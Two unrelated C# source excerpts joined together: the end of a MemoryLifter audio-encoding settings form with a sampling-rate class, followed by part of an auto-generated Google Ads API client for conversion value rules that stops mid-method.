foreach (KeyValuePair<Keys, Function> pair in backupKeyboardFunctions)
settings.KeyboardFunctions.Add(pair.Key, pair.Value);
settings.KeyboardLayout = backupKeyboardMode;
if (settings.AdvancedView)
numPadControl.KeyboardLayout = backupKeyboardMode;
numPadControl.Refresh();
}
/// <summary>
/// Handles the SelectedIndexChanged event of the comboBoxKeyboardMode control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-09-12</remarks>
private void comboBoxKeyboardMode_SelectedIndexChanged(object sender, EventArgs e)
{
settings.KeyboardLayout = (comboBoxKeyboardMode.SelectedIndex == 1);
if (settings.AdvancedView)
numPadControl.KeyboardLayout = settings.KeyboardLayout;
numPadControl.Refresh();
}
/// <summary>
/// Handles the Click event of the buttonCodecSettings control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev02, 2008-04-15</remarks>
private void buttonCodecSettings_Click(object sender, EventArgs e)
{
if (ShowCodecSettings(settings) == DialogResult.OK)
RefillEncoderCombobox();
}
/// <summary>
/// Shows the codec settings.
/// </summary>
/// <returns></returns>
/// <remarks>Documented by Dev02, 2008-04-15</remarks>
public static DialogResult ShowCodecSettings(Settings settings)
{
Codecs.Codecs codecs = new MLifter.AudioTools.Codecs.Codecs();
codecs.XMLString = settings.CodecSettings;
CodecSettings codecSettings = new CodecSettings();
codecSettings.Codecs = codecs;
codecSettings.EnableDecodeSettings = false;
codecSettings.ShowEncoder = settings.ShowEncoderWindow;
codecSettings.MinimizeWindows = settings.MinimizeEncoderWindow;
DialogResult result = codecSettings.ShowDialog();
if (result == DialogResult.OK)
{
settings.CodecSettings = codecSettings.Codecs.XMLString;
settings.ShowEncoderWindow = codecSettings.ShowEncoder;
settings.MinimizeEncoderWindow = codecSettings.MinimizeWindows;
}
return result;
}
///// <summary>
///// The estimated average bitrate of the LAME VBR Quality settings
///// taken from http://www.hydrogenaudio.org/forums/index.php?showtopic=28124&st=0&p=1595&#entry1595
///// </summary>
//private int[] LAMEQuality ={ 245, 225, 190, 175, 165, 130, 115, 100, 85, 65 };
///// <summary>
///// Updates the estimated average filesize.
///// </summary>
///// <remarks>Documented by Dev02, 2008-01-02</remarks>
//private void UpdateEstimated()
//{
// int CBRBitrate = 0;
// if (comboBoxCBRBitrate.SelectedIndex >= 0)
// CBRBitrate = Convert.ToInt32((comboBoxCBRBitrate.SelectedItem as Bitrate).Value);
// if (checkBoxVBR.Checked)
// CBRBitrate = LAMEQuality[10 - colorSliderVBRQuality.Value];
// double mbPerMin = 1.0 * CBRBitrate / 8 * 60 / 1000;
// labelExpectedValue.Text = string.Format(Properties.Resources.ENCODING_EXPECTED_STRINGFORMAT, mbPerMin);
//}
}
///// <summary>
///// This class defines a mp3 encoding bitrate.
///// </summary>
///// <remarks>Documented by Dev02, 2008-01-02</remarks>
//public class Bitrate
//{
// private uint bitrate;
// /// <summary>
// /// Initializes a new instance of the <see cref="Bitrate"/> class.
// /// </summary>
// /// <remarks>Documented by Dev02, 2008-01-02</remarks>
// public Bitrate()
// { }
// /// <summary>
// /// Initializes a new instance of the <see cref="Bitrate"/> class.
// /// </summary>
// /// <param name="bitrate">The bitrate.</param>
// /// <remarks>Documented by Dev02, 2008-01-02</remarks>
// public Bitrate(uint bitrate)
// {
// this.bitrate = bitrate;
// }
// /// <summary>
// /// Initializes a new instance of the <see cref="Bitrate"/> class.
// /// </summary>
// /// <param name="bitrate">The bitrate.</param>
// /// <remarks>Documented by Dev02, 2008-01-02</remarks>
// public Bitrate(string bitrate)
// {
// this.bitrate = uint.Parse(bitrate);
// }
// /// <summary>
// /// Gets or sets the bitrate.
// /// </summary>
// /// <value>The bitrate.</value>
// /// <remarks>Documented by Dev02, 2008-01-02</remarks>
// public uint Value
// {
// get
// {
// return bitrate;
// }
// set
// {
// if (value > 0) bitrate = value;
// }
// }
// /// <summary>
// /// Returns a <see cref="T:System.String"></see> that represents the current <see cref="T:System.Object"></see>.
// /// </summary>
// /// <returns>
// /// A <see cref="T:System.String"></see> that represents the current <see cref="T:System.Object"></see>.
// /// </returns>
// /// <remarks>Documented by Dev02, 2008-01-02</remarks>
// public override string ToString()
// {
// string bitrate = string.Format(Properties.Resources.ENCODING_BITRATE_TOSTRINGFORMAT, this.bitrate);
// return bitrate;
// }
//}
/// <summary>
/// This class defines a mp3 encoding sampling rate.
/// </summary>
/// <remarks>Documented by Dev02, 2007-12-21</remarks>
public class SamplingRate
{
private int frequency;
/// <summary>
/// Initializes a new instance of the <see cref="SamplingRate"/> class.
/// </summary>
/// <remarks>Documented by Dev02, 2007-12-21</remarks>
public SamplingRate()
{ }
/// <summary>
/// Initializes a new instance of the <see cref="SamplingRate"/> class.
/// </summary>
/// <param name="frequency">The frequency in Hz.</param>
/// <remarks>Documented by Dev02, 2007-12-21</remarks>
public SamplingRate(int frequency)
{
this.frequency = frequency;
}
/// <summary>
/// Initializes a new instance of the <see cref="SamplingRate"/> class.
/// </summary>
/// <param name="frequency">The frequency.</param>
/// <remarks>Documented by Dev02, 2007-12-21</remarks>
public SamplingRate(string frequency)
{
this.frequency = int.Parse(frequency);
}
/// <summary>
/// Gets or sets the sampling rate.
/// </summary>
/// <value>The sampling rate.</value>
/// <remarks>Documented by Dev02, 2007-12-21</remarks>
public int Value
{
get
{
return frequency;
}
set
{
if (value > 0) frequency = value;
}
}
/// <summary>
/// Returns a <see cref="T:System.String"></see> that represents the current <see cref="T:System.Object"></see>.
/// </summary>
/// <returns>
/// A <see cref="T:System.String"></see> that represents the current <see cref="T:System.Object"></see>.
/// </returns>
/// <remarks>Documented by Dev02, 2007-12-21</remarks>
public override string ToString()
{
string samplingrate = string.Format(Resources.ENCODING_SAMPLINGRATE_TOSTRINGFORMAT, 1.0 * frequency / 1000);
return samplingrate;
}
}
}
| |
// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Generated code. DO NOT EDIT!
using gagvr = Google.Ads.GoogleAds.V8.Resources;
using gax = Google.Api.Gax;
using gaxgrpc = Google.Api.Gax.Grpc;
using gaxgrpccore = Google.Api.Gax.Grpc.GrpcCore;
using proto = Google.Protobuf;
using grpccore = Grpc.Core;
using grpcinter = Grpc.Core.Interceptors;
using sys = System;
using scg = System.Collections.Generic;
using sco = System.Collections.ObjectModel;
using st = System.Threading;
using stt = System.Threading.Tasks;
namespace Google.Ads.GoogleAds.V8.Services
{
/// <summary>Settings for <see cref="ConversionValueRuleServiceClient"/> instances.</summary>
public sealed partial class ConversionValueRuleServiceSettings : gaxgrpc::ServiceSettingsBase
{
/// <summary>Get a new instance of the default <see cref="ConversionValueRuleServiceSettings"/>.</summary>
/// <returns>A new instance of the default <see cref="ConversionValueRuleServiceSettings"/>.</returns>
public static ConversionValueRuleServiceSettings GetDefault() => new ConversionValueRuleServiceSettings();
/// <summary>
/// Constructs a new <see cref="ConversionValueRuleServiceSettings"/> object with default settings.
/// </summary>
public ConversionValueRuleServiceSettings()
{
}
private ConversionValueRuleServiceSettings(ConversionValueRuleServiceSettings existing) : base(existing)
{
gax::GaxPreconditions.CheckNotNull(existing, nameof(existing));
GetConversionValueRuleSettings = existing.GetConversionValueRuleSettings;
MutateConversionValueRulesSettings = existing.MutateConversionValueRulesSettings;
OnCopy(existing);
}
partial void OnCopy(ConversionValueRuleServiceSettings existing);
/// <summary>
/// <see cref="gaxgrpc::CallSettings"/> for synchronous and asynchronous calls to
/// <c>ConversionValueRuleServiceClient.GetConversionValueRule</c> and
/// <c>ConversionValueRuleServiceClient.GetConversionValueRuleAsync</c>.
/// </summary>
/// <remarks>
/// <list type="bullet">
/// <item><description>Initial retry delay: 5000 milliseconds.</description></item>
/// <item><description>Retry delay multiplier: 1.3</description></item>
/// <item><description>Retry maximum delay: 60000 milliseconds.</description></item>
/// <item><description>Maximum attempts: Unlimited</description></item>
/// <item>
/// <description>
/// Retriable status codes: <see cref="grpccore::StatusCode.Unavailable"/>,
/// <see cref="grpccore::StatusCode.DeadlineExceeded"/>.
/// </description>
/// </item>
/// <item><description>Timeout: 3600 seconds.</description></item>
/// </list>
/// </remarks>
public gaxgrpc::CallSettings GetConversionValueRuleSettings { get; set; } = gaxgrpc::CallSettingsExtensions.WithRetry(gaxgrpc::CallSettings.FromExpiration(gax::Expiration.FromTimeout(sys::TimeSpan.FromMilliseconds(3600000))), gaxgrpc::RetrySettings.FromExponentialBackoff(maxAttempts: 2147483647, initialBackoff: sys::TimeSpan.FromMilliseconds(5000), maxBackoff: sys::TimeSpan.FromMilliseconds(60000), backoffMultiplier: 1.3, retryFilter: gaxgrpc::RetrySettings.FilterForStatusCodes(grpccore::StatusCode.Unavailable, grpccore::StatusCode.DeadlineExceeded)));
/// <summary>
/// <see cref="gaxgrpc::CallSettings"/> for synchronous and asynchronous calls to
/// <c>ConversionValueRuleServiceClient.MutateConversionValueRules</c> and
/// <c>ConversionValueRuleServiceClient.MutateConversionValueRulesAsync</c>.
/// </summary>
/// <remarks>
/// <list type="bullet">
/// <item><description>Initial retry delay: 5000 milliseconds.</description></item>
/// <item><description>Retry delay multiplier: 1.3</description></item>
/// <item><description>Retry maximum delay: 60000 milliseconds.</description></item>
/// <item><description>Maximum attempts: Unlimited</description></item>
/// <item>
/// <description>
/// Retriable status codes: <see cref="grpccore::StatusCode.Unavailable"/>,
/// <see cref="grpccore::StatusCode.DeadlineExceeded"/>.
/// </description>
/// </item>
/// <item><description>Timeout: 3600 seconds.</description></item>
/// </list>
/// </remarks>
public gaxgrpc::CallSettings MutateConversionValueRulesSettings { get; set; } = gaxgrpc::CallSettingsExtensions.WithRetry(gaxgrpc::CallSettings.FromExpiration(gax::Expiration.FromTimeout(sys::TimeSpan.FromMilliseconds(3600000))), gaxgrpc::RetrySettings.FromExponentialBackoff(maxAttempts: 2147483647, initialBackoff: sys::TimeSpan.FromMilliseconds(5000), maxBackoff: sys::TimeSpan.FromMilliseconds(60000), backoffMultiplier: 1.3, retryFilter: gaxgrpc::RetrySettings.FilterForStatusCodes(grpccore::StatusCode.Unavailable, grpccore::StatusCode.DeadlineExceeded)));
/// <summary>Creates a deep clone of this object, with all the same property values.</summary>
/// <returns>A deep clone of this <see cref="ConversionValueRuleServiceSettings"/> object.</returns>
public ConversionValueRuleServiceSettings Clone() => new ConversionValueRuleServiceSettings(this);
}
/// <summary>
/// Builder class for <see cref="ConversionValueRuleServiceClient"/> to provide simple configuration of credentials,
/// endpoint etc.
/// </summary>
internal sealed partial class ConversionValueRuleServiceClientBuilder : gaxgrpc::ClientBuilderBase<ConversionValueRuleServiceClient>
{
/// <summary>The settings to use for RPCs, or <c>null</c> for the default settings.</summary>
public ConversionValueRuleServiceSettings Settings { get; set; }
/// <summary>Creates a new builder with default settings.</summary>
public ConversionValueRuleServiceClientBuilder()
{
UseJwtAccessWithScopes = ConversionValueRuleServiceClient.UseJwtAccessWithScopes;
}
partial void InterceptBuild(ref ConversionValueRuleServiceClient client);
partial void InterceptBuildAsync(st::CancellationToken cancellationToken, ref stt::Task<ConversionValueRuleServiceClient> task);
/// <summary>Builds the resulting client.</summary>
public override ConversionValueRuleServiceClient Build()
{
ConversionValueRuleServiceClient client = null;
InterceptBuild(ref client);
return client ?? BuildImpl();
}
/// <summary>Builds the resulting client asynchronously.</summary>
public override stt::Task<ConversionValueRuleServiceClient> BuildAsync(st::CancellationToken cancellationToken = default)
{
stt::Task<ConversionValueRuleServiceClient> task = null;
InterceptBuildAsync(cancellationToken, ref task);
return task ?? BuildAsyncImpl(cancellationToken);
}
private ConversionValueRuleServiceClient BuildImpl()
{
Validate();
grpccore::CallInvoker callInvoker = CreateCallInvoker();
return ConversionValueRuleServiceClient.Create(callInvoker, Settings);
}
private async stt::Task<ConversionValueRuleServiceClient> BuildAsyncImpl(st::CancellationToken cancellationToken)
{
Validate();
grpccore::CallInvoker callInvoker = await CreateCallInvokerAsync(cancellationToken).ConfigureAwait(false);
return ConversionValueRuleServiceClient.Create(callInvoker, Settings);
}
/// <summary>Returns the endpoint for this builder type, used if no endpoint is otherwise specified.</summary>
protected override string GetDefaultEndpoint() => ConversionValueRuleServiceClient.DefaultEndpoint;
/// <summary>
/// Returns the default scopes for this builder type, used if no scopes are otherwise specified.
/// </summary>
protected override scg::IReadOnlyList<string> GetDefaultScopes() => ConversionValueRuleServiceClient.DefaultScopes;
/// <summary>Returns the channel pool to use when no other options are specified.</summary>
protected override gaxgrpc::ChannelPool GetChannelPool() => ConversionValueRuleServiceClient.ChannelPool;
/// <summary>Returns the default <see cref="gaxgrpc::GrpcAdapter"/>to use if not otherwise specified.</summary>
protected override gaxgrpc::GrpcAdapter DefaultGrpcAdapter => gaxgrpccore::GrpcCoreAdapter.Instance;
}
/// <summary>ConversionValueRuleService client wrapper, for convenient use.</summary>
/// <remarks>
/// Service to manage conversion value rules.
/// </remarks>
public abstract partial class ConversionValueRuleServiceClient
{
/// <summary>
/// The default endpoint for the ConversionValueRuleService service, which is a host of
/// "googleads.googleapis.com" and a port of 443.
/// </summary>
public static string DefaultEndpoint { get; } = "googleads.googleapis.com:443";
/// <summary>The default ConversionValueRuleService scopes.</summary>
/// <remarks>
/// The default ConversionValueRuleService scopes are:
/// <list type="bullet"><item><description>https://www.googleapis.com/auth/adwords</description></item></list>
/// </remarks>
public static scg::IReadOnlyList<string> DefaultScopes { get; } = new sco::ReadOnlyCollection<string>(new string[]
{
"https://www.googleapis.com/auth/adwords",
});
internal static gaxgrpc::ChannelPool ChannelPool { get; } = new gaxgrpc::ChannelPool(DefaultScopes, UseJwtAccessWithScopes);
internal static bool UseJwtAccessWithScopes
{
get
{
bool useJwtAccessWithScopes = true;
MaybeUseJwtAccessWithScopes(ref useJwtAccessWithScopes);
return useJwtAccessWithScopes;
}
}
static partial void MaybeUseJwtAccessWithScopes(ref bool useJwtAccessWithScopes);
/// <summary>
/// Asynchronously creates a <see cref="ConversionValueRuleServiceClient"/> using the default credentials,
/// endpoint and settings. To specify custom credentials or other settings, use
/// <see cref="ConversionValueRuleServiceClientBuilder"/>.
/// </summary>
/// <param name="cancellationToken">
/// The <see cref="st::CancellationToken"/> to use while creating the client.
/// </param>
/// <returns>The task representing the created <see cref="ConversionValueRuleServiceClient"/>.</returns>
public static stt::Task<ConversionValueRuleServiceClient> CreateAsync(st::CancellationToken cancellationToken = default) =>
new ConversionValueRuleServiceClientBuilder().BuildAsync(cancellationToken);
/// <summary>
/// Synchronously creates a <see cref="ConversionValueRuleServiceClient"/> using the default credentials,
/// endpoint and settings. To specify custom credentials or other settings, use
/// <see cref="ConversionValueRuleServiceClientBuilder"/>.
/// </summary>
/// <returns>The created <see cref="ConversionValueRuleServiceClient"/>.</returns>
public static ConversionValueRuleServiceClient Create() => new ConversionValueRuleServiceClientBuilder().Build();
/// <summary>
/// Creates a <see cref="ConversionValueRuleServiceClient"/> which uses the specified call invoker for remote
/// operations.
/// </summary>
/// <param name="callInvoker">
/// The <see cref="grpccore::CallInvoker"/> for remote operations. Must not be null.
/// </param>
/// <param name="settings">Optional <see cref="ConversionValueRuleServiceSettings"/>.</param>
/// <returns>The created <see cref="ConversionValueRuleServiceClient"/>.</returns>
internal static ConversionValueRuleServiceClient Create(grpccore::CallInvoker callInvoker, ConversionValueRuleServiceSettings settings = null)
{
gax::GaxPreconditions.CheckNotNull(callInvoker, nameof(callInvoker));
grpcinter::Interceptor interceptor = settings?.Interceptor;
if (interceptor != null)
{
callInvoker = grpcinter::CallInvokerExtensions.Intercept(callInvoker, interceptor);
}
ConversionValueRuleService.ConversionValueRuleServiceClient grpcClient = new ConversionValueRuleService.ConversionValueRuleServiceClient(callInvoker);
return new ConversionValueRuleServiceClientImpl(grpcClient, settings);
}
/// <summary>
/// Shuts down any channels automatically created by <see cref="Create()"/> and
/// <see cref="CreateAsync(st::CancellationToken)"/>. Channels which weren't automatically created are not
/// affected.
/// </summary>
/// <remarks>
/// After calling this method, further calls to <see cref="Create()"/> and
/// <see cref="CreateAsync(st::CancellationToken)"/> will create new channels, which could in turn be shut down
/// by another call to this method.
/// </remarks>
/// <returns>A task representing the asynchronous shutdown operation.</returns>
public static stt::Task ShutdownDefaultChannelsAsync() => ChannelPool.ShutdownChannelsAsync();
/// <summary>The underlying gRPC ConversionValueRuleService client</summary>
public virtual ConversionValueRuleService.ConversionValueRuleServiceClient GrpcClient => throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::ConversionValueRule GetConversionValueRule(GetConversionValueRuleRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::ConversionValueRule> GetConversionValueRuleAsync(GetConversionValueRuleRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::ConversionValueRule> GetConversionValueRuleAsync(GetConversionValueRuleRequest request, st::CancellationToken cancellationToken) =>
GetConversionValueRuleAsync(request, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the conversion value rule to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::ConversionValueRule GetConversionValueRule(string resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetConversionValueRule(new GetConversionValueRuleRequest
{
ResourceName = gax::GaxPreconditions.CheckNotNullOrEmpty(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the conversion value rule to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::ConversionValueRule> GetConversionValueRuleAsync(string resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetConversionValueRuleAsync(new GetConversionValueRuleRequest
{
ResourceName = gax::GaxPreconditions.CheckNotNullOrEmpty(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the conversion value rule to fetch.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::ConversionValueRule> GetConversionValueRuleAsync(string resourceName, st::CancellationToken cancellationToken) =>
GetConversionValueRuleAsync(resourceName, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the conversion value rule to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::ConversionValueRule GetConversionValueRule(gagvr::ConversionValueRuleName resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetConversionValueRule(new GetConversionValueRuleRequest
{
ResourceNameAsConversionValueRuleName = gax::GaxPreconditions.CheckNotNull(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the conversion value rule to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::ConversionValueRule> GetConversionValueRuleAsync(gagvr::ConversionValueRuleName resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetConversionValueRuleAsync(new GetConversionValueRuleRequest
{
ResourceNameAsConversionValueRuleName = gax::GaxPreconditions.CheckNotNull(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the conversion value rule to fetch.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::ConversionValueRule> GetConversionValueRuleAsync(gagvr::ConversionValueRuleName resourceName, st::CancellationToken cancellationToken) =>
GetConversionValueRuleAsync(resourceName, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Creates, updates, or removes conversion value rules. Operation statuses are
/// returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual MutateConversionValueRulesResponse MutateConversionValueRules(MutateConversionValueRulesRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Creates, updates, or removes conversion value rules. Operation statuses are
/// returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateConversionValueRulesResponse> MutateConversionValueRulesAsync(MutateConversionValueRulesRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Creates, updates, or removes conversion value rules. Operation statuses are
/// returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateConversionValueRulesResponse> MutateConversionValueRulesAsync(MutateConversionValueRulesRequest request, st::CancellationToken cancellationToken) =>
MutateConversionValueRulesAsync(request, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Creates, updates, or removes conversion value rules. Operation statuses are
/// returned.
/// </summary>
/// <param name="customerId">
/// Required. The ID of the customer whose conversion value rules are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual conversion value rules.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual MutateConversionValueRulesResponse MutateConversionValueRules(string customerId, scg::IEnumerable<ConversionValueRuleOperation> operations, gaxgrpc::CallSettings callSettings = null) =>
MutateConversionValueRules(new MutateConversionValueRulesRequest
{
CustomerId = gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)),
Operations =
{
gax::GaxPreconditions.CheckNotNull(operations, nameof(operations)),
},
}, callSettings);
/// <summary>
/// Creates, updates, or removes conversion value rules. Operation statuses are
/// returned.
/// </summary>
/// <param name="customerId">
/// Required. The ID of the customer whose conversion value rules are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual conversion value rules.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateConversionValueRulesResponse> MutateConversionValueRulesAsync(string customerId, scg::IEnumerable<ConversionValueRuleOperation> operations, gaxgrpc::CallSettings callSettings = null) =>
MutateConversionValueRulesAsync(new MutateConversionValueRulesRequest
{
CustomerId = gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)),
Operations =
{
gax::GaxPreconditions.CheckNotNull(operations, nameof(operations)),
},
}, callSettings);
/// <summary>
/// Creates, updates, or removes conversion value rules. Operation statuses are
/// returned.
/// </summary>
/// <param name="customerId">
/// Required. The ID of the customer whose conversion value rules are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual conversion value rules.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateConversionValueRulesResponse> MutateConversionValueRulesAsync(string customerId, scg::IEnumerable<ConversionValueRuleOperation> operations, st::CancellationToken cancellationToken) =>
MutateConversionValueRulesAsync(customerId, operations, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
}
/// <summary>ConversionValueRuleService client wrapper implementation, for convenient use.</summary>
/// <remarks>
/// Service to manage conversion value rules.
/// </remarks>
public sealed partial class ConversionValueRuleServiceClientImpl : ConversionValueRuleServiceClient
{
private readonly gaxgrpc::ApiCall<GetConversionValueRuleRequest, gagvr::ConversionValueRule> _callGetConversionValueRule;
private readonly gaxgrpc::ApiCall<MutateConversionValueRulesRequest, MutateConversionValueRulesResponse> _callMutateConversionValueRules;
/// <summary>
/// Constructs a client wrapper for the ConversionValueRuleService service, with the specified gRPC client and
/// settings.
/// </summary>
/// <param name="grpcClient">The underlying gRPC client.</param>
/// <param name="settings">
/// The base <see cref="ConversionValueRuleServiceSettings"/> used within this client.
/// </param>
public ConversionValueRuleServiceClientImpl(ConversionValueRuleService.ConversionValueRuleServiceClient grpcClient, ConversionValueRuleServiceSettings settings)
{
GrpcClient = grpcClient;
ConversionValueRuleServiceSettings effectiveSettings = settings ?? ConversionValueRuleServiceSettings.GetDefault();
gaxgrpc::ClientHelper clientHelper = new gaxgrpc::ClientHelper(effectiveSettings);
_callGetConversionValueRule = clientHelper.BuildApiCall<GetConversionValueRuleRequest, gagvr::ConversionValueRule>(grpcClient.GetConversionValueRuleAsync, grpcClient.GetConversionValueRule, effectiveSettings.GetConversionValueRuleSettings).WithGoogleRequestParam("resource_name", request => request.ResourceName);
Modify_ApiCall(ref _callGetConversionValueRule);
Modify_GetConversionValueRuleApiCall(ref _callGetConversionValueRule);
_callMutateConversionValueRules = clientHelper.BuildApiCall<MutateConversionValueRulesRequest, MutateConversionValueRulesResponse>(grpcClient.MutateConversionValueRulesAsync, grpcClient.MutateConversionValueRules, effectiveSettings.MutateConversionValueRulesSettings).WithGoogleRequestParam("customer_id", request => request.CustomerId);
Modify_ApiCall(ref _callMutateConversionValueRules);
Modify_MutateConversionValueRulesApiCall(ref _callMutateConversionValueRules);
OnConstruction(grpcClient, effectiveSettings, clientHelper);
}
partial void Modify_ApiCall<TRequest, TResponse>(ref gaxgrpc::ApiCall<TRequest, TResponse> call) where TRequest : class, proto::IMessage<TRequest> where TResponse : class, proto::IMessage<TResponse>;
partial void Modify_GetConversionValueRuleApiCall(ref gaxgrpc::ApiCall<GetConversionValueRuleRequest, gagvr::ConversionValueRule> call);
partial void Modify_MutateConversionValueRulesApiCall(ref gaxgrpc::ApiCall<MutateConversionValueRulesRequest, MutateConversionValueRulesResponse> call);
partial void OnConstruction(ConversionValueRuleService.ConversionValueRuleServiceClient grpcClient, ConversionValueRuleServiceSettings effectiveSettings, gaxgrpc::ClientHelper clientHelper);
/// <summary>The underlying gRPC ConversionValueRuleService client</summary>
public override ConversionValueRuleService.ConversionValueRuleServiceClient GrpcClient { get; }
partial void Modify_GetConversionValueRuleRequest(ref GetConversionValueRuleRequest request, ref gaxgrpc::CallSettings settings);
partial void Modify_MutateConversionValueRulesRequest(ref MutateConversionValueRulesRequest request, ref gaxgrpc::CallSettings settings);
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public override gagvr::ConversionValueRule GetConversionValueRule(GetConversionValueRuleRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_GetConversionValueRuleRequest(ref request, ref callSettings);
return _callGetConversionValueRule.Sync(request, callSettings);
}
/// <summary>
/// Returns the requested conversion value rule.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public override stt::Task<gagvr::ConversionValueRule> GetConversionValueRuleAsync(GetConversionValueRuleRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_GetConversionValueRuleRequest(ref request, ref callSettings);
return _callGetConversionValueRule.Async(request, callSettings);
}
/// <summary>
/// Creates, updates, or removes conversion value rules. Operation statuses are
/// returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public override MutateConversionValueRulesResponse MutateConversionValueRules(MutateConversionValueRulesRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_MutateConversionValueRulesRequest(ref request, ref callSettings);
return _callMutateConversionValueRules.Sync(request, callSettings);
}
/// <summary>
/// Creates, updates, or removes conversion value rules. Operation statuses are
/// returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public override stt::Task<MutateConversionValueRulesResponse> MutateConversionValueRulesAsync(MutateConversionValueRulesRequest request, gaxgrpc::CallSettings callSettings = null)
{
